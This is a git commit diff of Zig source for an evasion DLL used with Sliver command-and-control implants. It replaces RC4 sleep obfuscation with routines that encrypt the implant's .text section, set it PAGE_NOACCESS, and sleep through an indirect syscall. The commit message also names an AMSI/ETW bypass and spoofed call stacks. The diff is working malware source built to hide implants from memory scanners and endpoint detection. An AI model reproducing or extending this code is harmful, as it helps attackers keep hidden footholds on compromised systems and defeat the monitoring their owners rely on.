Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.
This commit is contained in:
+41
-79
@@ -2,103 +2,65 @@ const api = @import("api.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const win = @import("win32.zig");
|
||||
|
||||
var g_text_base: ?[*]u8 = null;
|
||||
var g_text_size: usize = 0;
|
||||
var g_go_text_base: ?[*]u8 = null;
|
||||
var g_go_text_size: usize = 0;
|
||||
|
||||
// Called from Go reflective loader — DLL .text bounds.
|
||||
pub fn init_text_region(base: [*]u8, size: usize) void {
|
||||
g_text_base = base;
|
||||
g_text_size = size;
|
||||
const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8;
|
||||
|
||||
// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE.
|
||||
fn padded_size(size: usize) win.ULONG {
|
||||
const s: win.ULONG = @intCast(size);
|
||||
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1);
|
||||
}
|
||||
|
||||
// Called from Go — implant's own .text bounds.
|
||||
pub fn init_go_text_region(base: [*]u8, size: usize) void {
|
||||
pub fn init_text_region(base: [*]u8, size: usize) void {
|
||||
g_go_text_base = base;
|
||||
g_go_text_size = size;
|
||||
}
|
||||
|
||||
fn encrypt_region(base: [*]u8, size: usize, key: *[16]u8) void {
|
||||
var img: api.USTRING = .{
|
||||
.Buffer = base,
|
||||
.Length = @as(u32, @intCast(size)),
|
||||
.MaximumLength = @as(u32, @intCast(size)),
|
||||
};
|
||||
var key_struct: api.USTRING = .{
|
||||
.Buffer = key,
|
||||
.Length = 16,
|
||||
.MaximumLength = 16,
|
||||
};
|
||||
var base_ptr: ?*anyopaque = @ptrCast(base);
|
||||
var region_size: win.SIZE_T = size;
|
||||
var old: win.DWORD = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(), &base_ptr, ®ion_size,
|
||||
win.PAGE_READWRITE, &old,
|
||||
);
|
||||
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
|
||||
}
|
||||
|
||||
fn decrypt_restore(base: [*]u8, size: usize, key: *[16]u8) void {
|
||||
var img: api.USTRING = .{
|
||||
.Buffer = base,
|
||||
.Length = @as(u32, @intCast(size)),
|
||||
.MaximumLength = @as(u32, @intCast(size)),
|
||||
};
|
||||
var key_struct: api.USTRING = .{
|
||||
.Buffer = key,
|
||||
.Length = 16,
|
||||
.MaximumLength = 16,
|
||||
};
|
||||
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
|
||||
var base_ptr: ?*anyopaque = @ptrCast(base);
|
||||
var region_size: win.SIZE_T = size;
|
||||
var old: win.DWORD = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(), &base_ptr, ®ion_size,
|
||||
win.PAGE_EXECUTE_READ, &old,
|
||||
);
|
||||
}
|
||||
|
||||
// RC4-encrypted sleep.
|
||||
// Encrypts Go .text and DLL .text, sleeps via NtDelayExecution, decrypts both regions.
|
||||
// Stack zeroing (EDR frame walk guard) is handled by the asm trampoline in hells_gate.s:
|
||||
// it captures entry RSP, zeroes the return address before reaching us, and restores it
|
||||
// after we return.
|
||||
// Ref: SystemFunction032 (Windows RC4), ThreadStackSpoofer (mgeeky)
|
||||
// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution,
|
||||
// decrypts on wake. During sleep .text is PAGE_NOACCESS.
|
||||
pub fn evasion_sleep(ms: u32) void {
|
||||
var dll_key: [16]u8 = undefined;
|
||||
var go_key: [16]u8 = undefined;
|
||||
for (0..16) |i| {
|
||||
dll_key[i] = @as(u8, @truncate(syscall.xorshift64()));
|
||||
go_key[i] = @as(u8, @truncate(syscall.xorshift64()));
|
||||
if (g_go_text_base == null or g_go_text_size == 0) {
|
||||
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
|
||||
_ = syscall.nt_delay_execution(0, &interval);
|
||||
return;
|
||||
}
|
||||
|
||||
// Encrypt Go .text first if bounds are set.
|
||||
if (g_go_text_base != null and g_go_text_size > 0) {
|
||||
encrypt_region(g_go_text_base.?, g_go_text_size, &go_key);
|
||||
}
|
||||
const base = g_go_text_base.?;
|
||||
const size = g_go_text_size;
|
||||
const padded = padded_size(size);
|
||||
|
||||
// Encrypt DLL .text.
|
||||
if (g_text_base != null and g_text_size > 0) {
|
||||
encrypt_region(g_text_base.?, g_text_size, &dll_key);
|
||||
// Encrypt .text with ChaCha20
|
||||
if (api.sleep_SystemFunction040) |enc| {
|
||||
_ = enc(base, padded, 0);
|
||||
}
|
||||
var ptr: ?*anyopaque = base;
|
||||
var sz: win.SIZE_T = size;
|
||||
var old: win.ULONG = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&ptr,
|
||||
&sz,
|
||||
win.PAGE_NOACCESS,
|
||||
&old,
|
||||
);
|
||||
|
||||
// Sleep via indirect syscall — no Go runtime active.
|
||||
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
|
||||
_ = syscall.nt_delay_execution(0, &interval);
|
||||
|
||||
// Decrypt DLL .text.
|
||||
if (g_text_base != null and g_text_size > 0) {
|
||||
decrypt_restore(g_text_base.?, g_text_size, &dll_key);
|
||||
}
|
||||
ptr = base;
|
||||
sz = size;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&ptr,
|
||||
&sz,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
&old,
|
||||
);
|
||||
|
||||
// Decrypt Go .text.
|
||||
if (g_go_text_base != null and g_go_text_size > 0) {
|
||||
decrypt_restore(g_go_text_base.?, g_go_text_size, &go_key);
|
||||
// Decrypt .text with ChaCha20
|
||||
if (api.sleep_SystemFunction041) |dec| {
|
||||
_ = dec(base, padded, 0);
|
||||
}
|
||||
|
||||
@memset(&dll_key, 0);
|
||||
@memset(&go_key, 0);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user